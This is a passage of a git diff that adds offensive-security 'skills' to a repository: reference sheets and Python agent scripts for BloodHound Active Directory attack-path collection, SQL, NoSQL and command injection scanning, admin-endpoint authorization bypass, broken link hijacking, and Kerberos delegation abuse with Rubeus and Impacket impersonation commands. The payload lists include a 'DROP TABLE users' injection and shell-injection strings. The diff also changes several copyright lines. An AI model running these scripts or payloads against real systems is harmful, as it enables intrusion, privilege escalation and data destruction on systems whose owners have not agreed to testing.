+SharpHound.exe -c All -d domain.local +SharpHound.exe -c DCOnly --ldapusername user --ldappassword pass +``` + +### Collection Methods +| Flag | Data Collected | +|------|----------------| +| `All` | Everything below | +| `Default` | Group, Session, Trusts, ACL, ObjectProps | +| `DCOnly` | LDAP-only (no sessions) | +| `Session` | Active sessions | +| `ACL` | Access control lists | +| `ObjectProps` | User/computer properties | + +## bloodhound-python — Cross-Platform + +### Syntax +```bash +bloodhound-python -d domain.local -u user -p pass -c all --zip -ns 10.10.10.1 +``` + +### Options +| Flag | Description | +|------|-------------| +| `-d` | Domain name | +| `-u` | Username | +| `-p` | Password | +| `-c` | Collection method | +| `-ns` | Nameserver (DC IP) | +| `--zip` | Output as ZIP | + +## Neo4j Cypher Queries + +### Shortest Path to Domain Admins +```cypher +MATCH p=shortestPath( + (u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'}) +) RETURN p +``` + +### Kerberoastable Users +```cypher +MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true +RETURN u.name, u.serviceprincipalnames +``` + +### Unconstrained Delegation +```cypher +MATCH (c:Computer {unconstraineddelegation:true}) +RETURN c.name, c.operatingsystem +``` + +### DCSync Rights +```cypher +MATCH p=(u)-[:GetChanges|GetChangesAll]->(d:Domain) +RETURN u.name, d.name +``` + +### AS-REP Roastable +```cypher +MATCH (u:User {dontreqpreauth:true}) +RETURN u.name, u.enabled +``` + +## BloodHound JSON Format + +### Users JSON +```json +{ + "data": [{ + "Properties": { + "name": "USER@DOMAIN.LOCAL", + "enabled": true, + "admincount": true, + "hasspn": false + }, + "Aces": [], + "MemberOf": [] + }] +} +``` + +## Neo4j Python Driver + +### Connection +```python +from neo4j import GraphDatabase +driver = GraphDatabase.driver("bolt://localhost:7687", auth=("neo4j", "bloodhound")) +with driver.session() as session: + result = session.run("MATCH (n:User) RETURN count(n)") +``` + +## BloodHound CE API + +### Authentication +```http +POST https://bloodhound:8080/api/v2/login +Content-Type: application/json + +{"login_method": "secret", "secret": "api-key-here"} +``` + +### Search +```http +GET https://bloodhound:8080/api/v2/search?q=admin +Authorization: Bearer {token} +``` diff --git a/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py b/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py new file mode 100644 index 00000000..24b9a620 --- /dev/null +++ b/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Agent for Active Directory attack path analysis using BloodHound data collection.""" + +import argparse +import json +import os +import subprocess +import sys +from datetime import datetime, timezone + + +def run_sharphound(domain, username=None, password=None, collection="All"): + """Execute SharpHound data collection.""" + cmd = ["SharpHound.exe", "-c", collection, "-d", domain] + if username: + cmd.extend(["--ldapusername", username]) + if password: + cmd.extend(["--ldappassword", password]) + try: + result = subprocess.check_output(cmd, text=True, errors="replace", timeout=120) + return {"status": "success", "output": result[:500]} + except (subprocess.SubprocessError, FileNotFoundError): + return {"status": "failed", "note": "SharpHound.exe not found or execution failed"} + + +def run_bloodhound_python(domain, username, password, dc_ip, collection="all"): + """Execute bloodhound-python for cross-platform collection.""" + cmd = [ + "bloodhound-python", "-d", domain, "-u", username, "-p", password, + "-c", collection, "--zip", "-ns", dc_ip, + ] + try: + result = subprocess.check_output(cmd, text=True, errors="replace", timeout=120) + return {"status": "success", "output": result[:500]} + except (subprocess.SubprocessError, FileNotFoundError): + return {"status": "failed", "note": "bloodhound-python not found"} + + +def analyze_bloodhound_json(data_dir): + """Parse BloodHound JSON output for high-value findings.""" + findings = {"users": 0, "computers": 0, "groups": 0, "domains": 0, "attack_paths": []} + for fname in os.listdir(data_dir): + fpath = os.path.join(data_dir, fname) + if not fname.endswith(".json"): + continue + try: + with open(fpath, "r") as f: + data = json.load(f) + if "users" in fname.lower(): + users = data.get("data", []) + findings["users"] = len(users) + for u in users: + props = u.get("Properties", {}) + if props.get("admincount"): + findings["attack_paths"].append({ + "type": "privileged_user", + "name": props.get("name", ""), + "enabled": props.get("enabled", False), + }) + elif "computers" in fname.lower(): + findings["computers"] = len(data.get("data", [])) + elif "groups" in fname.lower(): + findings["groups"] = len(data.get("data", [])) + except (json.JSONDecodeError, KeyError): + pass + return findings + + +def query_neo4j(query, uri="bolt://localhost:7687", user="neo4j", password="bloodhound"): + """Execute Cypher query against BloodHound Neo4j database.""" + try: + from neo4j import GraphDatabase + driver = GraphDatabase.driver(uri, auth=(user, password)) + with driver.session() as session: + result = session.run(query) + records = [dict(r) for r in result] + driver.close() + return records + except ImportError: + return [{"error": "neo4j driver not installed: pip install neo4j"}] + except Exception as e: + return [{"error": str(e)}] + + +ATTACK_PATH_QUERIES = { + "shortest_to_da": "MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p", + "kerberoastable": "MATCH (u:User) WHERE u.hasspn=true AND u.enabled=true RETURN u.name, u.serviceprincipalnames", + "unconstrained_delegation": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name", + "dcsync_rights": "MATCH p=(u)-[:GetChanges|GetChangesAll]->(d:Domain) RETURN u.name, d.name", +} + + +def main(): + parser = argparse.ArgumentParser( + description="AD attack path analysis with BloodHound (authorized testing only)" + ) + parser.add_argument("--collect", choices=["sharphound", "bloodhound-python"]) + parser.add_argument("--domain", help="AD domain") + parser.add_argument("--username", help="Domain username") + parser.add_argument("--password", help="Domain password") + parser.add_argument("--dc-ip", help="Domain controller IP") + parser.add_argument("--analyze-dir", help="Directory with BloodHound JSON files") + parser.add_argument("--cypher-query", help="Custom Cypher query for Neo4j") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] BloodHound AD Attack Path Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.collect == "sharphound": + result = run_sharphound(args.domain or "") + report["findings"]["collection"] = result + elif args.collect == "bloodhound-python": + result = run_bloodhound_python( + args.domain or "", args.username or "", args.password or "", args.dc_ip or "" + ) + report["findings"]["collection"] = result + + if args.analyze_dir: + analysis = analyze_bloodhound_json(args.analyze_dir) + report["findings"]["analysis"] = analysis + print(f"[*] Users: {analysis['users']}, Computers: {analysis['computers']}") + print(f"[*] Attack paths found: {len(analysis['attack_paths'])}") + + if args.cypher_query: + results = query_neo4j(args.cypher_query) + report["findings"]["cypher_results"] = results + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-api-injection-vulnerabilities/LICENSE b/skills/exploiting-api-injection-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-api-injection-vulnerabilities/LICENSE +++ b/skills/exploiting-api-injection-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md b/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..f16e3097 --- /dev/null +++ b/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md @@ -0,0 +1,103 @@ +# API Reference: API Injection Vulnerability Testing + +## OWASP API Security Top 10 + +| # | Risk | Description | +|---|------|-------------| +| API1 | Broken Object Level Auth | Accessing other users' data | +| API2 | Broken Authentication | Weak auth mechanisms | +| API3 | Broken Object Property Level Auth | Mass assignment | +| API8 | Security Misconfiguration | Injection via misconfig | +| API10 | Unsafe Consumption | Server-side injection | + +## SQL Injection Payloads + +### Error-Based +``` +' OR '1'='1 +' UNION SELECT NULL,NULL-- +' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- +``` + +### Time-Based Blind +``` +' AND SLEEP(5)-- +' AND pg_sleep(5)-- +'; WAITFOR DELAY '0:0:5'-- +``` + +## NoSQL Injection Payloads + +### MongoDB Operator Injection +```json +{"username": {"$ne": ""}, "password": {"$ne": ""}} +{"username": {"$gt": ""}} +{"username": {"$regex": "admin.*"}} +``` + +### Where Clause Injection +```json +{"$where": "this.password == 'test'"} +``` + +## Command Injection Payloads + +### Unix +``` +; id +| whoami +$(id) +`id` +``` + +### Blind Command Injection +``` +; sleep 5 +| ping -c 5 127.0.0.1 +$(sleep 5) +``` + +## Python requests Library + +### GET with Parameters +```python +import requests +resp = requests.get(url, params={"id": payload}, timeout=10, verify=False) +``` + +### POST with JSON Body +```python +resp = requests.post(url, json={"field": payload}, timeout=10) +``` + +### Response Analysis +| Attribute | Usage | +|-----------|-------| +| `resp.status_code` | HTTP status | +| `resp.text` | Response body | +| `resp.elapsed.total_seconds()` | Response time | +| `len(resp.content)` | Response size | + +## Error Signatures + +### SQL Databases +| Database | Error Pattern | +|----------|---------------| +| MySQL | `You have an error in your SQL syntax` | +| PostgreSQL | `ERROR: syntax error at or near` | +| MSSQL | `Unclosed quotation mark` | +| Oracle | `ORA-01756` | +| SQLite | `SQLITE_ERROR` | + +## Burp Suite API + +### Initiate Scan +```http +POST https://burp:1337/v0.1/scan +Content-Type: application/json + +{ + "urls": ["https://api.target.com/v1/users"], + "scan_configurations": [{"name": "Audit checks - SQL injection"}] +} +``` diff --git a/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..8ccebd61 --- /dev/null +++ b/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +"""Agent for testing API injection vulnerabilities (SQL, NoSQL, command injection).""" + +import argparse +import json +import re +import sys +import urllib.parse +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +SQL_PAYLOADS = [ + "' OR '1'='1", "' OR 1=1--", "'; DROP TABLE users;--", + "' UNION SELECT NULL,NULL--", "1' AND SLEEP(5)--", + "admin'--", "' OR ''='", +] + +NOSQL_PAYLOADS = [ + '{"$gt":""}', '{"$ne":""}', '{"$regex":".*"}', + '{"$where":"sleep(5000)"}', +] + +COMMAND_INJECTION_PAYLOADS = [ + "; id", "| whoami", "$(id)", "`id`", + "; sleep 5", "| sleep 5", +] + +ERROR_SIGNATURES = { + "sql": ["sql syntax", "mysql", "postgresql", "sqlite", "ora-", "mssql", + "unclosed quotation", "quoted string not properly terminated"], + "nosql": ["bson", "mongodb", "mongoerror", "json parse error"], + "command": ["sh:", "bash:", "/bin/", "command not found", "uid="], +} + + +def test_parameter(url, param_name, param_value, payloads, method="GET", headers=None): + """Test a single parameter with injection payloads.""" + if not HAS_REQUESTS: + return [] + findings = [] + baseline_url = f"{url}?{param_name}={urllib.parse.quote(param_value)}" + try: + baseline = requests.get(baseline_url, headers=headers, timeout=10, verify=False) + baseline_len = len(baseline.text) + baseline_time = baseline.elapsed.total_seconds() + except requests.RequestException: + return findings + + for payload in payloads: + test_value = urllib.parse.quote(payload) + try: + if method == "GET": + test_url = f"{url}?{param_name}={test_value}" + resp = requests.get(test_url, headers=headers, timeout=15, verify=False) + else: + data = {param_name: payload} + resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False) + + resp_text = resp.text.lower() + indicators = [] + + for category, sigs in ERROR_SIGNATURES.items(): + for sig in sigs: + if sig in resp_text: + indicators.append(f"{category}_error: {sig}") + + if abs(len(resp.text) - baseline_len) > baseline_len * 0.5 and baseline_len > 0: + indicators.append(f"Response size anomaly: {baseline_len} -> {len(resp.text)}") + + if resp.elapsed.total_seconds() > baseline_time + 4: + indicators.append(f"Time-based: {resp.elapsed.total_seconds():.1f}s vs baseline {baseline_time:.1f}s") + + if indicators: + findings.append({ + "parameter": param_name, + "payload": payload, + "status_code": resp.status_code, + "indicators": indicators, + }) + except requests.RequestException: + continue + return findings + + +def scan_api_endpoint(url, params, method="GET", headers=None): + """Scan an API endpoint with all injection categories.""" + all_findings = [] + for param_name, param_value in params.items(): + all_findings.extend(test_parameter(url, param_name, param_value, SQL_PAYLOADS, method, headers)) + all_findings.extend(test_parameter(url, param_name, param_value, NOSQL_PAYLOADS, method, headers)) + all_findings.extend(test_parameter(url, param_name, param_value, COMMAND_INJECTION_PAYLOADS, method, headers)) + return all_findings + + +def main(): + parser = argparse.ArgumentParser( + description="Test API endpoints for injection vulnerabilities (authorized testing only)" + ) + parser.add_argument("--url", required=True, help="Target API endpoint URL") + parser.add_argument("--params", required=True, help="Parameters as key=value,key2=value2") + parser.add_argument("--method", default="GET", choices=["GET", "POST"]) + parser.add_argument("--header", nargs="*", help="Custom headers as Key:Value") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] API Injection Testing Agent") + print("[!] For authorized security testing only") + + params = dict(p.split("=", 1) for p in args.params.split(",")) + headers = {} + if args.header: + for h in args.header: + k, _, v = h.partition(":") + headers[k.strip()] = v.strip() + + findings = scan_api_endpoint(args.url, params, args.method, headers or None) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "target": args.url, + "parameters_tested": list(params.keys()), + "findings": findings, + "vulnerability_count": len(findings), + "risk_level": "CRITICAL" if findings else "LOW", + } + + print(f"[*] Tested {len(params)} parameters, found {len(findings)} potential injections") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE b/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE +++ b/skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-broken-function-level-authorization/LICENSE b/skills/exploiting-broken-function-level-authorization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-broken-function-level-authorization/LICENSE +++ b/skills/exploiting-broken-function-level-authorization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-broken-function-level-authorization/references/api-reference.md b/skills/exploiting-broken-function-level-authorization/references/api-reference.md new file mode 100644 index 00000000..601e6781 --- /dev/null +++ b/skills/exploiting-broken-function-level-authorization/references/api-reference.md @@ -0,0 +1,89 @@ +# API Reference: Broken Function Level Authorization (BFLA) + +## OWASP API5:2023 — Broken Function Level Authorization + +### Description +API endpoints expose functions that should be restricted to specific roles. +Low-privileged users can invoke admin-level functionality. + +### Common Patterns +| Pattern | Example | +|---------|---------| +| Guessable admin paths | `/api/admin/users` | +| Method switching | POST allowed but PUT bypasses auth | +| Role parameter manipulation | `{"role": "admin"}` in request | +| Vertical privilege escalation | User accessing admin endpoints | + +## Testing Methodology + +### Step 1: Discover Endpoints +```bash +# From OpenAPI spec +curl https://api.target.com/swagger.json | jq '.paths | keys' + +# From JavaScript source +grep -oP '["'"'"']/api/[^"'"'"']+' app.js +``` + +### Step 2: Test with Low-Priv Token +```bash +curl -H "Authorization: Bearer " \ + https://api.target.com/api/admin/users +``` + +### Step 3: Test HTTP Method Switching +```bash +# If GET returns 403, try POST/PUT/DELETE +curl -X PUT -H "Authorization: Bearer " \ + https://api.target.com/api/admin/users/1 +``` + +## Python requests Library + +### Request with Token +```python +headers = {"Authorization": f"Bearer {token}"} +resp = requests.get(url, headers=headers, timeout=10, verify=False) +``` + +### Method Switching +```python +for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]: + resp = requests.request(method, url, headers=headers, timeout=10) + if resp.status_code < 400: + print(f"Accessible via {method}: {resp.status_code}") +``` + +## Common Admin Endpoints to Test + +``` +/admin +/api/admin +/api/v1/admin/users +/api/internal +/manage +/api/config +/api/debug +/api/users/all +/api/system/settings +/graphql (with admin mutations) +``` + +## Burp Suite — Authorization Testing + +### Autorize Extension +1. Install Autorize from BApp Store +2. Set low-privilege cookie/token +3. Browse application as admin +4. Autorize replays requests with low-priv token +5. Compare responses for authorization bypass + +## Response Analysis + +| Indicator | Meaning | +|-----------|---------| +| 200 with data | Full access (vulnerability) | +| 200 empty body | Possible partial bypass | +| 403 Forbidden | Properly restricted | +| 401 Unauthorized | Auth required | +| 405 Method Not Allowed | Method restricted | diff --git a/skills/exploiting-broken-function-level-authorization/scripts/agent.py b/skills/exploiting-broken-function-level-authorization/scripts/agent.py new file mode 100644 index 00000000..7542094c --- /dev/null +++ b/skills/exploiting-broken-function-level-authorization/scripts/agent.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python3 +"""Agent for testing Broken Function Level Authorization (BFLA) in APIs.""" + +import argparse +import json +import sys +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +ADMIN_ENDPOINTS = [ + "/admin", "/admin/users", "/admin/settings", "/admin/config", + "/api/admin/users", "/api/v1/admin", "/api/internal", + "/manage", "/management", "/dashboard/admin", + "/api/users/all", "/api/config", "/api/debug", +] + +HTTP_METHODS = ["GET", "POST", "PUT", "DELETE", "PATCH"] + + +def test_endpoint_access(base_url, endpoint, token, method="GET"): + """Test if an endpoint is accessible with given credentials.""" + if not HAS_REQUESTS: + return None + url = f"{base_url.rstrip('/')}{endpoint}" + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.request(method, url, headers=headers, timeout=10, verify=False) + return { + "endpoint": endpoint, + "method": method, + "status_code": resp.status_code, + "response_size": len(resp.content), + "accessible": resp.status_code < 400, + } + except requests.RequestException: + return None + + +def test_method_switching(base_url, endpoint, token): + """Test if changing HTTP method bypasses authorization.""" + results = [] + for method in HTTP_METHODS: + result = test_endpoint_access(base_url, endpoint, token, method) + if result and result["accessible"]: + results.append(result) + return results + + +def test_privilege_escalation(base_url, low_priv_token, endpoints=None): + """Test if low-privilege user can access admin endpoints.""" + findings = [] + test_endpoints = endpoints or ADMIN_ENDPOINTS + for ep in test_endpoints: + result = test_endpoint_access(base_url, ep, low_priv_token) + if result and result["accessible"]: + findings.append({ + "vulnerability": "BFLA", + "endpoint": ep, + "status_code": result["status_code"], + "response_size": result["response_size"], + "severity": "HIGH", + }) + return findings + + +def test_idor_via_function(base_url, token, user_id, target_user_id): + """Test function-level auth by accessing another user's admin functions.""" + findings = [] + endpoints = [ + f"/api/users/{target_user_id}", + f"/api/users/{target_user_id}/settings", + f"/api/users/{target_user_id}/role", + ] + for ep in endpoints: + for method in ["GET", "PUT", "DELETE"]: + result = test_endpoint_access(base_url, ep, token, method) + if result and result["accessible"]: + findings.append({ + "vulnerability": "BFLA+IDOR", + "endpoint": ep, + "method": method, + "own_user_id": user_id, + "target_user_id": target_user_id, + }) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Test Broken Function Level Authorization (authorized testing only)" + ) + parser.add_argument("--url", required=True, help="Base API URL") + parser.add_argument("--token", help="Low-privilege user JWT token") + parser.add_argument("--endpoints", nargs="*", help="Custom admin endpoints to test") + parser.add_argument("--user-id", help="Current user ID") + parser.add_argument("--target-id", help="Target user ID for IDOR test") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] BFLA Testing Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []} + + escalation = test_privilege_escalation(args.url, args.token, args.endpoints) + report["findings"].extend(escalation) + print(f"[*] Privilege escalation findings: {len(escalation)}") + + if args.user_id and args.target_id: + idor = test_idor_via_function(args.url, args.token, args.user_id, args.target_id) + report["findings"].extend(idor) + print(f"[*] IDOR findings: {len(idor)}") + + report["risk_level"] = "CRITICAL" if report["findings"] else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-broken-link-hijacking/LICENSE b/skills/exploiting-broken-link-hijacking/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-broken-link-hijacking/LICENSE +++ b/skills/exploiting-broken-link-hijacking/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-broken-link-hijacking/references/api-reference.md b/skills/exploiting-broken-link-hijacking/references/api-reference.md new file mode 100644 index 00000000..c5975c89 --- /dev/null +++ b/skills/exploiting-broken-link-hijacking/references/api-reference.md @@ -0,0 +1,98 @@ +# API Reference: Broken Link Hijacking + +## Concept +Broken Link Hijacking (BLH) occurs when a website links to external resources +that no longer exist. An attacker can register the expired resource (domain, +GitHub repo, npm package) to serve malicious content via the trusted site. + +## Hijackable Platforms + +| Platform | Hijack Vector | +|----------|---------------| +| GitHub | Register abandoned username/repo | +| npm | Publish unclaimed package name | +| PyPI | Register unclaimed package | +| Twitter/X | Claim abandoned handle | +| BitBucket | Register abandoned team/repo | +| Custom domain | Register expired domain | + +## Python requests — Link Checking + +### HEAD Request +```python +import requests +resp = requests.head(url, timeout=10, allow_redirects=True, verify=False) +# 404 = broken link, potential hijack +``` + +### Connection Error = Domain Takeover +```python +try: + requests.head(url, timeout=5) +except requests.ConnectionError: + print("Domain may be unregistered - takeover possible") +``` + +## HTML Link Extraction + +### Regex Patterns +```python +import re +# href links +re.finditer(r'href=["\']([^"\']+)', html) +# src links +re.finditer(r'src=["\']([^"\']+)', html) +``` + +## Domain Availability Check + +### WHOIS Lookup +```bash +whois expired-domain.com +# "No match for" = available for registration +``` + +### DNS Check +```bash +dig expired-domain.com +short +# Empty = no DNS records (likely available) +``` + +## GitHub API — Check Username Availability + +### Check user exists +```http +GET https://api.github.com/users/username +``` +- 200 = exists +- 404 = available for registration + +### Check repo exists +```http +GET https://api.github.com/repos/owner/repo +``` + +## npm Registry — Check Package + +```http +GET https://registry.npmjs.org/package-name +``` +- 200 = exists +- 404 = available for registration + +## Subdomain Takeover Indicators + +### CNAME to Unclaimed Service +```bash +dig CNAME old-service.example.com +# old-service.example.com. CNAME unregistered.herokuapp.com. +``` + +### Common Vulnerable Services +| Service | Indicator | +|---------|-----------| +| GitHub Pages | 404 "There isn't a GitHub Pages site here" | +| Heroku | "No such app" | +| AWS S3 | "NoSuchBucket" | +| Azure | "404 Web Site not found" | +| Shopify | "Sorry, this shop is currently unavailable" | diff --git a/skills/exploiting-broken-link-hijacking/scripts/agent.py b/skills/exploiting-broken-link-hijacking/scripts/agent.py new file mode 100644 index 00000000..5151da16 --- /dev/null +++ b/skills/exploiting-broken-link-hijacking/scripts/agent.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Agent for detecting broken link hijacking vulnerabilities on websites.""" + +import argparse +import json +import re +import sys +from datetime import datetime, timezone +from urllib.parse import urlparse, urljoin + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +HIJACKABLE_PATTERNS = { + "github": r"github\.com/[\w-]+(?!/[\w-]+)", + "npm": r"npmjs\.com/package/[\w-]+", + "twitter": r"twitter\.com/[\w]+", + "bitbucket": r"bitbucket\.org/[\w-]+", + "gitlab": r"gitlab\.com/[\w-]+", + "pypi": r"pypi\.org/project/[\w-]+", +} + + +def extract_links(html, base_url): + """Extract all links from HTML content.""" + links = set() + for match in re.finditer(r'href=["\']([^"\']+)', html): + link = match.group(1) + if link.startswith(("http://", "https://")): + links.add(link) + elif link.startswith("/"): + links.add(urljoin(base_url, link)) + for match in re.finditer(r'src=["\']([^"\']+)', html): + link = match.group(1) + if link.startswith(("http://", "https://")): + links.add(link) + return links + + +def check_link_status(url): + """Check if a URL is reachable and categorize its status.""" + if not HAS_REQUESTS: + return {"url": url, "status": "unknown", "note": "requests library not available"} + try: + resp = requests.head(url, timeout=10, allow_redirects=True, verify=False) + return { + "url": url, + "status_code": resp.status_code, + "final_url": resp.url, + "broken": resp.status_code == 404, + } + except requests.ConnectionError: + return {"url": url, "status_code": None, "broken": True, "error": "connection_failed"} + except requests.Timeout: + return {"url": url, "status_code": None, "broken": False, "error": "timeout"} + except requests.RequestException as e: + return {"url": url, "status_code": None, "broken": False, "error": str(e)[:100]} + + +def check_hijackable(link_status): + """Determine if a broken link is hijackable.""" + url = link_status.get("url", "") + if not link_status.get("broken"): + return None + parsed = urlparse(url) + domain = parsed.netloc.lower() + for platform, pattern in HIJACKABLE_PATTERNS.items(): + if re.search(pattern, url): + return { + "url": url, + "platform": platform, + "domain": domain, + "hijack_type": f"Register {platform} account/resource", + "severity": "HIGH", + } + if link_status.get("error") == "connection_failed": + return { + "url": url, + "domain": domain, + "hijack_type": "Domain takeover (unregistered domain)", + "severity": "CRITICAL", + } + return None + + +def scan_website(target_url): + """Scan a website for broken link hijacking opportunities.""" + if not HAS_REQUESTS: + return [] + findings = [] + try: + resp = requests.get(target_url, timeout=15, verify=False) + links = extract_links(resp.text, target_url) + except requests.RequestException: + return findings + + external_links = [l for l in links if urlparse(l).netloc != urlparse(target_url).netloc] + print(f"[*] Found {len(external_links)} external links") + + for link in external_links: + status = check_link_status(link) + hijack = check_hijackable(status) + if hijack: + findings.append(hijack) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect broken link hijacking vulnerabilities" + ) + parser.add_argument("--url", required=True, help="Target website URL") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Broken Link Hijacking Detection Agent") + findings = scan_website(args.url) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "target": args.url, + "hijackable_links": findings, + "count": len(findings), + "risk_level": "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else "HIGH" if findings else "LOW", + } + + print(f"[*] Hijackable links found: {len(findings)}") + if args.verbose: + for f in findings: + print(f" [{f['severity']}] {f['url']} - {f['hijack_type']}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-constrained-delegation-abuse/LICENSE b/skills/exploiting-constrained-delegation-abuse/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-constrained-delegation-abuse/LICENSE +++ b/skills/exploiting-constrained-delegation-abuse/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-constrained-delegation-abuse/references/api-reference.md b/skills/exploiting-constrained-delegation-abuse/references/api-reference.md new file mode 100644 index 00000000..7f7da0f0 --- /dev/null +++ b/skills/exploiting-constrained-delegation-abuse/references/api-reference.md @@ -0,0 +1,89 @@ +# API Reference: Kerberos Constrained Delegation Abuse + +## Delegation Types in AD + +| Type | Attribute | Risk | +|------|-----------|------| +| Unconstrained | TrustedForDelegation | CRITICAL | +| Constrained | msDS-AllowedToDelegateTo | HIGH | +| Constrained + Protocol Transition | TrustedToAuthForDelegation | CRITICAL | +| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | HIGH | + +## PowerShell Enumeration + +### Find Constrained Delegation +```powershell +Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} ` + -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation +``` + +### Find RBCD +```powershell +Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity ` + | Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null} +``` + +## Impacket — S4U Attack + +### getST.py — Request Service Ticket +```bash +getST.py domain/svc_account:password \ + -spn cifs/target.domain.local \ + -impersonate administrator \ + -dc-ip 10.10.10.1 +``` + +### Use Ticket +```bash +export KRB5CCNAME=administrator.ccache +smbclient.py -k -no-pass domain/administrator@target.domain.local +``` + +## Rubeus — S4U Attack + +### S4U2Self + S4U2Proxy +```cmd +Rubeus.exe s4u /user:svc_account /rc4:NTLM_HASH \ + /impersonateuser:administrator \ + /msdsspn:cifs/target.domain.local /ptt +``` + +### RBCD Abuse +```cmd +Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_HASH \ + /impersonateuser:administrator \ + /msdsspn:cifs/target.domain.local /ptt +``` + +## RBCD Setup with PowerShell + +### Set RBCD +```powershell +Set-ADComputer target -PrincipalsAllowedToDelegateToAccount attacker$ +``` + +### Verify +```powershell +Get-ADComputer target -Properties msDS-AllowedToActOnBehalfOfOtherIdentity +``` + +## BloodHound Cypher Queries + +### Constrained Delegation Paths +```cypher +MATCH p=(u)-[:AllowedToDelegate]->(c:Computer) +RETURN u.name, c.name +``` + +### RBCD Write Access +```cypher +MATCH p=(u)-[:GenericWrite|WriteDacl|WriteOwner]->(c:Computer) +RETURN u.name, c.name +``` + +## Detection — Event IDs +| Event | Description | +|-------|-------------| +| 4769 | Kerberos Service Ticket (check for S4U) | +| 4770 | Service Ticket Renewed | +| 4768 | TGT Request (monitor for delegation) | diff --git 